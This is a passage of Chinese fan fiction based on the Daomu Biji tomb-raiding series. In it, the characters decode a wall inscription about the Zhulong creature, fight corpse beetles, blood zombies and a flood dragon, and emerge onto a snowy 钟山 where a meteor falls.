这段时间里，本应该不会有其他人再做多余的动作了，但张祈灵却偏了偏头，耳朵动了一下，随即在衍卜寸和黑瞎子译出整堵墙内容时，选择快速起身走了过去。 衍卜寸正在纸张上，复刻下了墙面上这个颠覆认知的故事，他还在不停头脑风暴的时候，张祈灵却用手抹了把胸前的伤口，将血抹在了犄角旮旯处。 只一瞬间，文字开始不断的跳跃伸缩，像是因血腥而被唤醒的蠕虫，鼓动在明显已经干硬的墙里，发出了咚咚咚的声音。 “后退。”张祈灵这么说着，衍卜寸和黑瞎子一起拉着立在原地的他往后走。 就在撤离的瞬间，其余人也惊诧地起身，因为墙面的所有文字都脱落起来，里面的尸蟞幼虫，在感受到空气后，便像是蚂蚁一般的倾巢而出。 但因为张祈灵的血，它们产生畏惧，不敢向他们这边靠近，于是它们这样的四处攀爬，就只会让人感觉到密集簇拥下的头皮发麻。 解雨臣拢紧了自己的衣服，不想让自己衣服的空隙被尸蟞钻进去，但这显然有些多余。 因为四散开来的尸蟞们，已经开始自觉退路，并朝着漆黑的，永无止境的尽头奔涌过去，只给众人留下了毫无价值的斑驳墙面。 衍卜寸缓过神，他庆幸自己在翻译的时候记下了墙上的故事，不然，在自己沉迷解密，没有发现尸蟞幼虫快要孵化的时候，与这故事一起毁灭的，大概就是自己和黑瞎子了，所以，他感激的看了一眼张祈灵。 对方点头，并没有多余的反应，衍卜寸只能将自己和黑瞎子梳理的故事给讲出来。 “烛龙的山海经的故事是真的，只不过，这个墙壁刻的是另一种说法，这个世界之前，曾经陨落过两个陨石，其中一颗，为张家人带来了福祉的长生，而另一颗，则因为其巨大的能量，腐蚀了周遭的一切生命体。” 他一口气说了太多，喉结滚动了一下，才继续道，“伤害了地球上的生命，这个能量自己也就没了食物来源，所以它一直在等着自己外部力量的消退，并等待着自然的重新复苏。” “这个家伙，竟然还有智商？”吴峫敏锐察觉到了这一点。 解雨臣也补充着，“它甚至会有缓和周围情况的想法，这和我们所坚持的环保是一个性质，为了生态自然的安全，也是为了人类的绿色共同发展，所做的全球性公益活动那种。” “你们说的都没错，它的修养生息只是为了让自己获得更多的利益，可这样的一次次修养，一次次汲取，也早晚会让它周围的那片地带消失殆尽，所以，它察觉到自己越来越弱了，甚至无法通过呼风唤雨，来让地面重新长出新的生命枝桠的时候……” 衍卜寸这么说完，眸色渐深，“天不让它死，所以，它发现了比自然力量更加有价值的东西。” “人类。”张祈灵看着已经被破坏的不成样子的墙面，这么总结道。 衍卜寸点头，承认了张祈灵的观点，“它将吸收力量的目标转向了人类，但是因为身躯庞大而导致自己无法移动，所以，它解体了，就是和喀斯特地貌形成那样，它不再扩充自己的力量，而是在风雨中等待着自己的身体，顺着明河暗流飘向各种地方。” “直到，有人拿它的身体做了第一扇青铜门。”霍道夫震惊的抬起眼，这一路走来，他显然清楚了吴峫等人，究竟带自己入了一个多么庞大的世界观里。 胖子安抚地拍了拍霍道夫的肩膀，毕竟自己是早就开了眼，见过大怪物不止一次，还玩过触手蹦床，以及切身体验过很多个震碎三观的幻象。 “它的意识在门里开始修养，后来恢复了一部分力量后，就可以将意识放在门外，并且，它发现了自己的新能力，是除了操纵自然力量的呼风唤雨以外，特意给人类所创造的新能力， 那就是……欲望。” 黑瞎子的眉头蹙在一起，架起的胳膊绷的很紧，毕竟，他刚才可是参与了翻译过程，自然清楚衍卜寸所要说出的是多么庞大的，令人无法接受的到极为玄幻的事物。 “人类用自己的欲望，和它做了交易，它通过兑换人类身上的一部分，来填补自己的内里亏损，最终在门中逐渐成型，化形为了它真正的样子， ——烛龙。 而我被迫失忆的那次，就是因为看到了它的真身，但那仅仅只是一片翼翅的羽毛而已，它估计是怕我将这个信息带出去，才会毁了我那个时间段的记忆，或者是将其封存在了小寸的灵魂深处，而这些，只不过是我现在才知道而已。” “那它记录这些，又是为了什么呢？”吴峫试图分析起来。 但身后的小哥却答，“荣耀。” 它把这些堆砌在己身的性命，促成它成功的庞大欲望，当成是自己不可分割，甚至是要反复去在晦涩之处永久欣赏的荣耀。 “给予了人们希望，又发散绝望的家伙！”鄢啸南的眸光颤动，若是这样的交易，若知道是这样的局，清楚所有人是它复生大计的牺牲品，那自己是断不可能拿鄢然的命去赌的。 它根本不在乎除它以外的一切， 那些生命于它而言， 不过就是垫脚石， 这就是实现人类所谓愿望的真面目。 第245章 又何止只是爱 只供一时果腹的天降大饼，是会将人噎死的。 不过鄢啸南所创造的报应，是在衍光善的身上体现，那些日月风霜里，不断挣扎的，除了鄢啸南悔恨的心，还有衍光善永远不会治好病。 衍卜寸想到此处，低头看着笔记上唯一被它所记住的名字鄢啸南，他是个有名有姓的，被它亲自承认的存在。 而它所对他的夸赞，也是不加掩饰的。 鄢啸南开创了欲望的先河，对于它来讲是盟友，也是互利的共赢，所以，鄢啸南才允许被它当作荣耀记录下来。 但在鄢啸南之前，因为它吞吃力量而死去的，是万千生灵，而在鄢啸南之后，后人面对的则是同胞的尸横遍野。 这能怪鄢啸南救人心切吗？不，衍卜寸觉得，如果自己面对的是张祈灵生了病，快要离开的话……他也会毫不犹豫地抓住这唯一的机会，将张祈灵往上推，勾住那能够活下去的一线生机。 “衍卜寸？衍卜寸……你究竟能不能听到我说话啊，我解完题了，咱们也知道它的出身了，就往前走吧？你傻站在这里，想什么呢？”黑瞎子的手在衍卜寸的面前晃了晃。 骤然回神的衍卜寸，发现自己思考的太过于深入了，想那么多没什么用，反正他不会让自己的神和衍光善一样，陷入危险。 所以衍卜寸很快就找回了思绪，把笔记塞进背包里，才摇头道，“没想什么，继续走吧，不过我猜测，往下走应该就是那群尸蟞或者别的生物的大本营了。” “何以见得？”解雨臣问了一嘴。 衍卜寸手中的挂烛摇曳，发出细微的噼啪声，“我们刚进来的时候，并没有找到涌出尸蟞和血尸的门不是吗？但它们肯定会从某个通道出来，因为没有任何生物会拥有凭空蹦出来的能力。” “你就这么确定底下的情况，和你说的一样吗？”黑瞎子这么问完，谁知道衍卜寸直接一个转身将小寸扔他怀里了。 手忙脚乱抱住小孩的黑瞎子，刚想问这是做什么的时候，就被衍卜寸接下来的话给打断了，“我眼睛好使，能看到你更看不到的东西，把小寸抱好了，底下有水，我怕他淹了。” 成为小豆芽的小寸，刚开始乖巧地窝在黑瞎子的怀里，但下一秒就因为衍卜寸的话而炸毛，可衍卜寸只是略微偏了偏头，那冷意的眼神立刻就让小寸止住了声。 而处于队伍中间的张祈灵，看着前面衍卜寸全方面压制的样子，和提及的情况，却让自己心里发毛的厉害，直到，他贴着墙面的指腹时，墙面似乎快速翻转了一轮。 他伸手，没阻止成机关，等到墙面翻转完成，张祈灵才触碰到和前面他们翻译出来的差不多的文字。 随即他警惕地拉住吴峫的手，将自己的灯火往前凑了凑，让吴峫做个见证，看个清楚。 “有字。”张祈灵这么说着，也是在提醒黑瞎子和衍卜寸快点来解密。 黑瞎子听到，抱着孩子转了半个身子，哎呦喂了一声，似没想到活又来了。 火光映照下的字眼，看起来不甚明朗，衍卜寸前面压根没有看到那些文字，完全是因为机关未启动，而此时，他听到张祈灵的话，便想要错身过来看一眼，但刚挪步，就知道麻烦来了，因为底下平静的水花突然翻涌了起来。 随后，什么东西腾跃了出来，带起的水花差点熄灭了站在外围的胖子的烛火，这让胖子猛的往后缩，宽阔的后背被小哥一下扶稳住。 黑瞎子则立刻改变了身体的角度，一个鞭腿将那东西踹了下去，可谁知道，那东西趁机张开嘴，瞬间就叼住了他的鞋后跟，这让他皮靴的底胶被一下子薅了下来，发出了格外清晰的撕裂声。 “靠！就他妈盯着我的脚！是没地方能让你咬了吗？！”黑瞎子猛的将脱了胶的鞋磕向台阶，而忽然的距离拉近，也让衍卜寸瞬间掏枪，精准无误地将它的头打爆了。 脱离黑瞎子的它，开始往下坠，大家这才彻底看清，它原来是一个被何罗鱼寄生的血尸头颅。 而此时，因为它没有预料到自己会死亡，甚至连张大嘴都来不及闭上，它从喉管里延伸出来的黏腻的触手，在这时候拼命地想要抓住什么，但却只是让自己那满口绽放的难看“花瓣”，显得更加得可怖。 张牙舞爪间，它再没有任何的支撑力，这让它坠下去时，发出了格外大的扑通落水声，而水底里的生物，也趁此机会，开始拼命蚕食着那失败者的尸体，它们不停的在里头翻涌，撕咬与游动的声响纠缠地越发激烈。 张祈灵将墙面上那点字的样子，记了一遍后，才攥紧了吴峫的手，转过头来，看着底下深不见底的漆黑水域，开口道，“还有。” “还有啥？不会还蹦出来寄生种吧，异形里的那种？我靠啊，刚才差点把我火给熄了，差点两眼一抹黑！”胖子问着一旁的张祈灵说的是什么意思，而他整个人如今全然扒在了小哥的身上，像只抽象的八爪鱼。 被他抱着的小哥眯了眯眼，补全了张祈灵未说尽的半语，“大家伙。” “有多大？”黑瞎子这么问着，他现在踩着自己没了底胶的鞋，觉得自己本就雪上加霜的脚，更没什么安全感了。 小哥偏头，用耳朵去仔细地听，楼梯下的静潭正不断的动荡，激起的水花拍打在石壁，像是蟒蛇在里头纠缠，他听力测验了一下，“体宽十米。” “长呢？”吴峫问完，便恨不得拉着张祈灵把背贴到墙上，就怕小哥嘴里的那位大家伙，会把自己给拉下去。 张祈灵闭上眼，偏头也去听，但水面冲出东西来的那一刻，速度还是快到惊人，他几乎是用身体的本能反应去抽刀，一刃劈下去，那东西接触刀刃，却在昏黄烛光的光晕下，拼出了一阵璀璨的火星。 “是蛟！”解雨臣这么说完，便和霍道夫一起开枪，给张祈灵加了把力。 蛟睁开浑浊的眼，这里的环境已经让它退化了视力，衍卜寸立刻扣住了解雨臣和霍道夫的枪，屏着气，摇了摇头，示意不要发出声音。 没有指引的蛟，如今抻直了脖子，不断的用鼻子嗅闻，而张祈灵后退着，将手抹上自己的血，重新按在那串文字上，吴峫又气又心疼，却没法说话，只能将他的另一只手攥紧。 这一次他们面对的不是尸蟞破墙，而是门快速的翻转过去，张祈灵扯吴峫，吴峫扯胖子，胖子扯小哥…… 一连串的互相拉拽，让他们快速到了另外的一个空间里。 而外头蛟在发现自己的猎物彻底失踪以后，便恼羞成怒的撞了一下楼梯，又缩回脑袋去吃自己的水底垃圾了。 它的体格巨大，这一撞，着实让众人差点以为这里的空间会塌下去，但幸好只是头顶上落下来一地碎石，震颤便停止了。 张祈灵站稳脚跟，被吴峫提着灯从上到下全部照了一遍后，吴峫便单手拽上他的领口，眸光颤动，他带着心疼，又焦急地吼出来，“你刚才又用血去抹什么？！本来身体里的血就不够用！这次是触发了机关，那下次怎么办？我知道你不是赌，你有把握！ 但是伤害自己，摸着伤口取血的时候，你能不能想想我们会为你心疼啊！” “我错了。”张祈灵垂着眼，答应的很顺从，他的意识会铭记吴峫给的每一个规训，但他永远是身体本能快过意志，不提痛，不肯悔，执拗的一塌糊涂。 所以吴峫，才会那么心疼他，别的小孩都是击败了黑暗势力，爬起来哭唧唧地朝自己信任之人露出伤口，只有他，只有他永远都在反复蹂躏痛楚的同时，不管不顾的继续抛撒自己的鲜血！ 小哥是自己费尽多年时间才教好的，可吴峫，就是对这个唯自己主义至上的张祈灵没辙，他忠诚又独立，听话又偏执，自己该怎么教，自己究竟该怎么做？！ 他爱自己这件事，怎么就这么简单？他爱他自己这件事，怎么就这么难？ 好在，张祈灵的下意识直觉还是对的，这里的空间在封锁后，还是有一道暗门可以走的，虽然不知道通向何方，但是起码躲避掉了与蛟的苦战。 “徒儿，祈知道分寸，而且这次他做的对，最起码是让咱们省略了与那大家伙正面交锋的时间，他性子耿直，这种事得慢慢教。”黑瞎子说着大道理，然后便放下了小寸，低下头开始试图将自己的鞋底粘回去，但显然没毛用。 路也没走成，还白抱着小寸，损失了鞋底子，黑瞎子的心情可谓是十分的不美丽，但说这些话的时候，他和吴峫所想的一样。 他们都会用自己和兄弟们的余生，去教会张祈灵如何爱自己，只是现在情况危急，张祈灵出手也快，教导与说服便显得有些不合时宜了，在这样危机四伏的环境里，一切的细枝末节，都将会成为生命被扼杀的节点。 等上去以后，慢慢教，别着急，也不要逼他。 吴峫想通后，便将手慢慢放下来，顺便捋平了张祈灵衣服被自己拽出的褶皱，祈灵想要救兄弟们没有错，错的，只不过是创造张祈灵，前面又不肯负责的自己罢了。 不过，物质化真的是一个很折磨人的事，以张祈灵的角度来说，他是被自己创造的，所以天生拥有着爱自己，为自己奉献生命的意志。 可在吴峫的眼里，自己就是用所谓的对小哥的依赖与信服于小哥的强大，将张祈灵给束缚在了自己的身边，当初他创造张祈灵时，那么想要无条件，不疯魔不成仁的保护，现在就有多想要张祈灵懂得真正的，平等的，无需奉献的爱是什么样子。 所以，他欠他的，又何止只是爱。 第246章 眼睛很漂亮 气氛逐渐因为吴峫的妥协而软了下去，张祈灵便向衍卜寸伸手讨要着笔记，好把刚才那些字给写下来。 无数的看不懂的片甲偏旁与奇形怪状的东西呈现在纸上，结合在一起，显得不伦不类的像是某种儿童画。 衍卜寸拉着还在扒底胶哭唧唧的黑瞎子，让他也过来看一眼，帮着分析分析。 盯了半天的黑瞎子直接用指尖随手勾了个轮廓，“这不就是烛九阴吗？然后旁边这个地方吧，看地貌特征比较像钟山，就是贺兰群山那边，等会儿，这个家伙身体里好像……” 黑瞎子的指腹，贴近那如龙生一样弯曲的文字，一点一点的往下顺着，“揣着孩子？” “什么？如果按照黑瞎子你说的那样，他的身体内真的能够揣孩子的话，那是不是创造现在我们所拥有的这一切就有了解释。 按照古时候的话来说，女娲伏羲创造生命也不是随心所欲的，她必须用一团泥土才可以创造出人类，但是山海经中已经有了成千上万的神，而创造这些神早有一个特定的地方……”吴峫发挥了他智囊的特性，说干了口舌也要讲。 解雨臣立即接了下去，“所以最符合能够制造生命的地方就是烛九阴的体内，所以它才能创造出各种各样的东西，来和人类进行交易。” “我同意这个观点，如果说上古诸神具有机械性质，那么烛龙就是制造机器的机器，我在山海经里常看到一句话，山海经里没有任何一个多余的神， 每个人的身上没有一个多余的组成部分，他们的身体各部分都是为特定的用途而设计制作的。”吴峫的嘴动得飞快，以此来表达自己想要阐述的观点。 “所以具体到烛九阴的身上来说，它需要有庞大的身体操作间，来制造这些东西与事物，纵然它人首蛇身，哪怕静止，也需要太多太多的能量。” 衍卜寸的指尖，和黑瞎子的，一同放到了最后的那处文字上，因为张祈灵的顿笔，那里而形成了一次微小的墨点，衍卜寸的神色微变，“是地图，这个位置，就是那颗为他提供第一次能量的陨石定位。” “可是我们进门里了，怎么能去钟山？”霍道夫问道。 黑瞎子挑挑眉，“那些门你刚才忘了吗？既通向门里的门，也通向门外的门，而且我们的目的就是找到门里的门，也就是门里的钟山。” “啊，我要被绕糊涂了！”胖子捂着脑袋，怨声载道的阻止黑瞎子继续说，“黑瞎子，你别说绕口令，就直白着说！” 小哥捏了一把胖子的肩膀，言简意赅，“找门。” 这话可是让胖子快速听懂了，连原本愁眉苦脸的神色，也瞬间亮堂起来，语重心长的拍了拍黑瞎子的肩膀，然后夸奖完小哥又嘱咐着黑瞎子。 “瞧瞧，还是我家小哥说话明白呀！平日里别打哑谜，都这个时候了，不要整那些矮子穿长袍拖拖拉拉的。” 黑瞎子斜睨了他一眼，“是是是，我争取跟哑巴学会说话的魅力，然后让你折服到每天都只给我做菜。” 这话让胖子连忙抽回了手。 “这可不行，给你做饭了，天真和大家吃什么？开小灶就开小灶，但不能真是吃独食，我只能规定你晚上吃一顿夜宵。”胖子蹙着眉，谈起条件来。 黑瞎子笑了两下，便点头答应了下来，见好就收。 看到重新整理好目的地的大家，张祈灵便拨动了下衍卜寸吊在身上的铃铛，“走。” 被自己的神这样触碰的衍卜寸，别提有多开心了，但他还是压抑一下自己亢奋的心，将那铃铛提起来，轻轻晃了晃，那处暗门似乎因为青铜铃铛改变磁场，而导致机关活松，竟然微裂开了一条缝。 小哥将发丘指别在里面，轻而易举的将门打开，衍卜寸和小寸站在前面，就跟医院那个x光扫描一样，将里头的环境看了个大概，才敢招呼大家进去。 里头的空间并没有什么水，空气也似乎很干，灯火映照下，只能看到淡黄色的柏木墙壁上，镶嵌的铜鸟正绽开着翅膀，仿佛随时都能翩翩欲飞。 走过司马长廊后，便来到了题凑结构。这是西汉最高礼仪的墓葬形式，是由一层层用柏木坊，堆砌包裹的大型纯木结构，这里没有什么怪物的特征，也听不到任何的声音，像是被隔绝了的存在。 “这也太安静了……”胖子在经历前面蛟吹灯的恐怖威慑以后，一直处于提心吊胆的状态。 但好在他们很快就拐进了中心位置，不过因为这里不会有生物，为谁建起什么棺材，所以中部空间是没有任何的棺椁的。 但黑瞎子刚一踏步，就察觉到了地面下的中空，他笑着偏头看向衍卜寸，“下不下？” “下。”衍卜寸在观察之后发现了里面还有一扇门，而青铜铃铛也给出了回应。 张祈灵和小哥一起把各自的刀扎进了木缝里，硬生生将一块方形木板撬开来，给了一个众人能下去的空间。 不过看到这个场面的胖子却挠了挠头，一本正经的提了个建议，“小哥啊，祈灵小兄弟，你们再扩大一点可以吗？我怕我卡住。” 胖子卡住一次两次的事已经不算罕见了，吴峫捂着嘴，毫不留情的笑了出来，并夺过了张祈灵的刀，帮着忙。 “这点儿地儿真不够胖子大展拳脚的，我们扩一扩，扩一扩……” 等到地板扩充，能够让所有人进去的大小以后，衍卜寸第一个猛渣直接跳了进去，而就在他快落地前的那一刻，他将自己的红线瞬间织成了网，在脚尖踏在那一门上的刹那，就捞住了自己。 “放心往下跳，别着急。”衍卜寸扯着嗓子，向上面喊了一声。 黑瞎子吹了个口哨便跳了下去，大家接二连三也跟着下来了，张祈灵看着那扇门发出的幽幽红光，仿佛是什么岩浆正在流动一样，以前面他们所经过的那几扇门呈现出的样子都不一样。 察觉到张祈灵神色微变的衍卜寸，立刻解释起来，“每个门的磁场都不太一样，在被青铜母铃所指引控制的时候，就会呈现出不一样的状态，放心。” 张祈灵点头，等衍卜寸将红线铺垫成楼梯的时候，大家才在衍卜寸的示意中走了下去。 进到门里的时候，确实感觉到了一种灼热感，等到张祈灵错身一闪的时候，却发现那是血尸呼在自己肩膀上的哈气。 要说他们是幸运呢， 还是不幸运呢？ 竟然在此时精准无误地找到了那扇，满藏着血尸和尸鳖的门。 在无限长的空间里，里头装满了漫无目的，如丧尸一般不断行走的血人，他们被尸鳖蚕食着身体，骨骼外露，皮肉绽开，但却不知痛的迷茫地张着大嘴继续前行。 吴峫见此，狠狠的倒吸了一口凉气，他刚想要拽紧身旁的张祈灵，却发现那人忽然消失了，再一眨眼间，张祈灵就出现在了自己面前，而他的软刃，则快速从自己的耳垂下穿了过去。 他寒凉的剑锋，带有藏不住的杀意，不过，他的长睫却是微垂着的，倒显得有些乖顺，但那眼眸却还是含着极尽冷冽。 而漆黑的虹膜中，似乎还倒映着后头，那绝不是自我错觉的，正狰狞地张开血盆大口的血尸。 吴峫的精神瞬间松懈下来，他只知道，自己在看到张祈灵后，围绕在周身的惊悚感倏然就褪去了，一种安心的暖流，正迅速地游走遍自己全身的血管，使得供应上血液的心脏，兴奋的开始砰砰直跳。 这让吴峫此刻，唯一能够清晰感受到的事物，便是张祈灵把刀架在自己脖子上时…… 自己只觉得他的眼睛很漂亮。 直到身后巨物倒下，吴峫才骤然回了神，张祈灵看着吴峫处于懵的状态，便拍了一下他的肩膀。 意外的是，吴峫这一次没有说自己的行动有错，而是眸中闪烁着显而易见的感激，对面前一本正经杀敌，又骄傲亮利爪的小猫，认真的夸赞道，“谢谢。” 张祈灵点头示意听到了后，便将吴峫脚底死掉的那只血尸往旁边一踢，那脏污的血并没有沾染到吴峫分毫。 将理智抓回来的吴峫，也快速的加入了战斗，在这些年来，他的枪法精进了很多，能保持在枪枪爆头的状态中。 而在一片血尸与尸蟞奔跑的混乱里，所有人都默契的保持着同样的步调，跟随着衍卜寸，努力的劈了一条道出来。 衍卜寸在前头奔跑着，将红线勒掉一个又一个血尸的头颅，还有试图跳上来的尸蟞们，腥臭的气息在身旁排开，但脚底下的路仍然是他们的尸体，他提醒着众人，“前面有门，别掉队，都跟上！” 第247章 被宠起来的孩子 从小到大泡在盗墓行当的胖子，或许永远都想不到，在解除衍卜寸背后的那些势力之后，竟然会把原本和天真在一起的邪门buff加成到极致。 什么粽子血尸，他和天真在一块，就以为是把这辈子的眼界放开到无限大了，可是听着耳旁的嘶吼，看到肉块的飞溅，嗅闻到鲜血的腥气，却觉得自己的人生，仍然在被这些光怪陆离的东西所滋润。 胖子跑到喘着粗气，却还是没有放下手中的枪，甚至在血尸和尸蟞贴近的那一刻，还能抡起自己的大宝刀砍过去。 在他前面的张祈灵，刀劈地也是超脱常人的快，抛弃掉持重刀的习惯以后，他就跟那个削豆皮的机器一样，进化成了以速度取胜的家伙。 张祈灵能够在最短的时间里，将血尸的头还有尸蟞削成两半，奔跑在旁边的怪怪，则在他的头顶，不停的分泌唾液，以此来打个伤敌一千自损八百以后，又快速愈合的bug。 事实证明这真的很有用，张祈灵的伤口愈合的速度越来越快了，虽然怪怪的唾液，在留下来时会润湿刘海，导致有些挡视线，但是他的速度不减反增，软刃仍然甩的飞快。 众人距离那扇门越来越近了，从刚开始的几百米到了五十米、二十米、十米…… 疯狂的击杀让人类的肾上腺素飙升，连重伤到一直在补充的张祈灵，也觉得自己的身体仿佛忘却了一切的疼痛，只拥有着奔跑下去的本能。 “到了，快往里进！”衍卜寸站在门旁，红线大网被支撑了个以门为中心的超大防护罩，只留有供大家进入的空隙。 等到张祈灵踏步进入，站定以后，却骤然吐出了一口白气，因为踩在脚下的，是松软的雪地，而在抬眼之间，眼前的场景，直接让张祈灵全身的温度彻底凝固了。 这里是狂风肆虐的雪山，而是他所面对的，是东升起来的太阳，染着算不得炽烈的夕阳，在天边晕染开来极致的红色。 张祈灵偏了偏头，确认着大家都还在，这不是幻觉，才在心底里松了一口气。 不过很快，空间的骤然变化，终于让胖子冷的开始搓手，“不是，这是幻境还是什么？这给我干哪儿来了？不说门里通门里吗？怎么干到门外来了？” 他的问题太多，让拿着青铜母铃的衍卜寸有些插不上话，嘴唇反复嗫嚅了几遍，声音都没出来。 黑瞎子直接箍住了胖子的头，捂住了他的嘴，才让衍卜寸有了说话的时间，衍卜寸感激的点了一下头，然后解释起来。 “这里应该不是幻境，能够号令子铃的母铃，并没有发现这里有其他铃铛的存在。”衍卜寸否定道。 吴峫听后，便拿出望远镜看了一圈，然后立刻惊诧地跳起来回答道，“这里的环境是钟山，也就是现今南京的紫金山，山体庞大，东西最长约为七千米，南北最宽有三千米，整个山体形状是朝北边的等边三角形，我们现在站的地方就是山顶，可能因为这里的季节似乎处于冬天，所以在乍一看的情况下才像长白山！” 胖子恍然大悟的哦了一声，像是猿猴在叫。 于是，无奈的黑瞎子，立刻将捂住他嘴的手又紧了紧。 张祈灵听到吴峫的解释，才缓了缓神，是他对一切的开始太过于敏感了…… 不对，开始？ “出生地。”张祈灵这么突然的截断了大家的思考。 衍卜寸立刻将青铜铃摇晃，而对面的山体，也发出了阵阵的磁场波动，几乎是带动了那些光秃的树干，使得他们以一种扭曲怪异的样子，在不停的晃动。 解雨臣分析了张祈灵的话，便转头向衍卜寸问道，“小祈说的很有道理，按照前面文字的那些内容，这个家伙对自己的过往以及成就特别有自豪感，那么做出这样一个记录自己出生的地方，以此回忆和自负，也未尝不可能。” “但是……这里并没有陨石坠落过的样子啊？”吴峫这么发问着，然后收回了望远镜，并裹紧了自己羽绒服外套。 可谁知道，就在他说完的那一刻，天空像是破开了一道巨大的口子，原本疏离的云层瞬间冲出了个庞然大物，炽烈的似乎能够超越太阳，并且，它以一种肉眼难以辨别的速度，直接坠落在了对面的山头。 巨大的俯冲力，也让它在刹那间，直接将山体撞出了一个大洞，而那滚烫的热量，瞬间便燃烧起了周围那些光秃的树干，烈火熊熊燃烧，站在这一端的众人，被余震波及到，瞬间跌了下去。 档案在山体的斜面因为下过了雪，有一定的摩擦力，于是张祈灵立刻将自己的双腿和软刃插在了雪里，然后，捞住了差一点儿落到山腰的吴峫。 可怪怪整个的体格太大，加上身形圆润，滚的飞快，直接从最高处到了山脚，柔软的身体在摊成一滩烂泥以后，又慢吞吞的重组起来。 聪明的胖子，也利用着自己的体重，在一瞬间里，以自己为支点，一手一个抱住了轻飘的小哥和解雨臣。 霍道夫则把药箱嵌进了雪中，黑瞎子则扒住了树干，整个人吊在那里，其余的清如和鄢啸南也很快找到了落脚的地方。 “天真，你是真的撞邪了，咱不说话了好不好？”胖子含泪揪着小哥和解雨臣，整个人被冰冷的雪所覆盖，只感到浑身的肉都紧贴着冰坨，冷的一阵发颤。 扣住张祈灵手的吴峫讪讪笑着，不好意思的抬起头，“我也没想到这么灵啊，况且我就是发出疑问而已，它落不落真的和我没关系！” “是不是徒儿心里清楚，别争这件事儿了，花儿爷，帮我把我包里的登山绳掏出来，没有固定的地方，咱们卡在这里也不是个事！”黑瞎子看着距离自己往下一点的解雨臣，于是弯腰将背部转向对方。 解雨臣三两下将登山绳拿了出来，黑瞎子一只手接住，然后用衍卜寸给的刀，用刀柄一寸寸将抓钩钉进了山体里，随后把绳子往下一甩。 “我先下了，给你们试试水！”黑瞎子笑着直接松开树干，捞着那单薄的登山绳就滑下去了，没有任何的卡扣，让他的半指皮手套都快要磨出火星子了。 这样完全发疯的下落，让吴峫瞪圆了眼睛，“靠！你是下去了，我们没手套的拿什么垫！” 落在地面上的黑瞎子吹了个流氓哨，然后才叉着腰，将自己被磨开花的皮手套一丢，笑的特别开朗。 “拿袖子垫吧你们！我下来之前可是说了试试水，你也没找我要手套，这哪能算我的锅！”黑瞎子喊的嘹亮，让吴峫原本不好看的脸色变得更难看了。 听到他们二人对话的张祈灵抿了抿唇，将身体偏移了一些，拉下了外套，想让距离末端最近的吴峫裹着手先下去，可吴峫摇了摇头，并没有接外套。 可谁知道，吴峫刚给袖子搓上雪，把住绳子往下滑的时候，衣料却没有一点儿破损。 等毫发无损落到地面上的时候，吴峫还是懵的，直到黑瞎子在旁边酸里酸气啧了一声，自己才知道真相。 “衍卜寸，你不能这样区别对待啊，怎么我下去的时候，你就不用红线给我裹一遍手？”黑瞎子中气十足的对着上面人进行控诉。 衍卜寸拽着小寸，拉住绳子就下来了，他清冷的眼睛眯了眯，逆着光去看黑瞎子，“是你说要试试水的，你不下去，我怎么知道磨不磨手？” “真他妈是前人栽树后人乘凉，你这么整，咱们就不是兄弟了！”黑瞎子看着那之后下来的人，都有衍卜寸的优待，整个人气的要命。 但衍卜寸却相当平静，甚至在没有外套的情况下，身姿也仍然挺拔的丝毫不抖，他语气平静，仿佛黑瞎子真的很无理一样，“你知道我的能力，又没说要层保护，要不然出去以后，我给你买个皮手套算了。” 提到钱，黑瞎子立刻转变了态度，搓着手就过来了，可衍卜寸却将他的头直接推走，并毫不留情的补充。 “过五十，不给你付。” 黑瞎子怨声载道，看着衍卜寸的样子，简直像是在对一个负心汉的强烈谴责，“我靠，你怎么现在这么抠门了？这不是你那会儿在沙漠里买青椒炒饭，说给钱就给钱的时候了！” 疑惑下来的张祈灵，不解的看着他们之间的争吵，澄澈的眼神就像是在问，这东西还需要买？抢不就行了吗，反正黑瞎子又不会真的动手。 并不懂张祈灵脑回路是什么的黑瞎子和衍卜寸，完全不知道这个终于被宠起来的孩子，已经把他们两个都当成了十足的冤大头。 第248章 因果循环 不过，能够互相拌嘴的情况也持续不了多久，因为上头挪移着身体的胖子，冻的指尖僵硬，差点抓不住绳子。 衍卜寸的眸子往上一扫，赶紧用红线缠住胖子的手和腰，将他整个重量分担了一些，才没让胖子直接脱手栽下来。 后面的解雨臣等人下来的就快了，只不过这里实在是寒冷，哪怕他们已经把羽绒服套到身上，也仍然觉得这里窝风的厉害。 更别提刚才陨石落下的时候，窜的那一脖子透心凉的雪了。 于是，胖子狠狠抖了抖身子，将那些绵雪拍下去，才勉强让体温回升的速度快了一些。 而张祈灵的视线，正看着对面凛冽的高山，寒风吹刮，不断地撩拨蒸腾起来的火焰，他提了个关键性问题，“火。” 吴峫抹了一把融在脸上的雪，然后才抬头，顺着张祈灵的目光看去，这样的高山冬火也是不容小觑的，林子密的很，加上天气干燥，哪怕下了雪，风也会将火焰吹的越来越燥。 “从刚才我们差点滚下山开始，就证明这里的场景是实体，所以，火也是真的，那我们不可能拿饮用水去灭，那样太蠢了。”吴峫说完，才将视线移向一直痛经全局的衍卜寸，“等待也不是办法，这个时期的它，应该没有发现自己可以吸食人类的力量吧？我们既然想要接近，就得想别的法子。” 吴峫提出的论点很重要，这里的景是真的，火也是真的，衍卜寸不可能叫大家蹚着烈火路上山，可也更不可能等待这山火自己熄下去。 两难的境地，让衍卜寸清冷的眸子眯了眯，逆着光，看了半晌后，他才从中找到了一处突破口。 “雷管有存余吗？”衍卜寸偏头，向胖子这么问着。 胖子听后，当即一愣，表情是满满的不可置信，“你不会想说，你想用我这点东西去炸山？这不是鸡蛋碰石头吗，给它吃灰玩呢？” 这意思就是哪怕用了也是蚍蜉撼树，完全不够用。 “山火中间，能辟出一条路来，但是需要炸出凹槽供我们走。”衍卜寸这么说着，便朝胖子勾了勾手，示意自己要包拿里头的雷管。 可张祈灵却一下子按住了他的手，“没人去。” 他这话，意思是没人可以将雷管安置在满是山火的路上，以人身辟路，不就是将自己的兄弟推向死亡吗？谁往那火里走一圈都是不要命，更别提去当开路的人。 况且，这里一看也没有什么地下结构，哪怕有也被这颗天降陨石给毁了，明面上能走的，也是一场生死豪赌，张祈灵不可能让衍卜寸去。 但衍卜寸却是格外的坚定，他忍耐住自己被神明所关心的雀跃，然后将张祈灵的手一点点的扒开，他的力道不算大，但那神情里，却是不容置喙的执着，“我自己有分寸，相信我，我比任何生物都要强大。” 衍卜寸这句话，是已经将自己归结为怪物的行列了，他现在能够以身束缚钥匙鬼玺这么久，完全就不是一个普通人，所以他清楚自己的极限，也知道自己所说的分寸和死亡临界点在哪里。 可张祈灵不会眼睁睁看他这么去折磨自己，其他人也自然不同意这个计划。 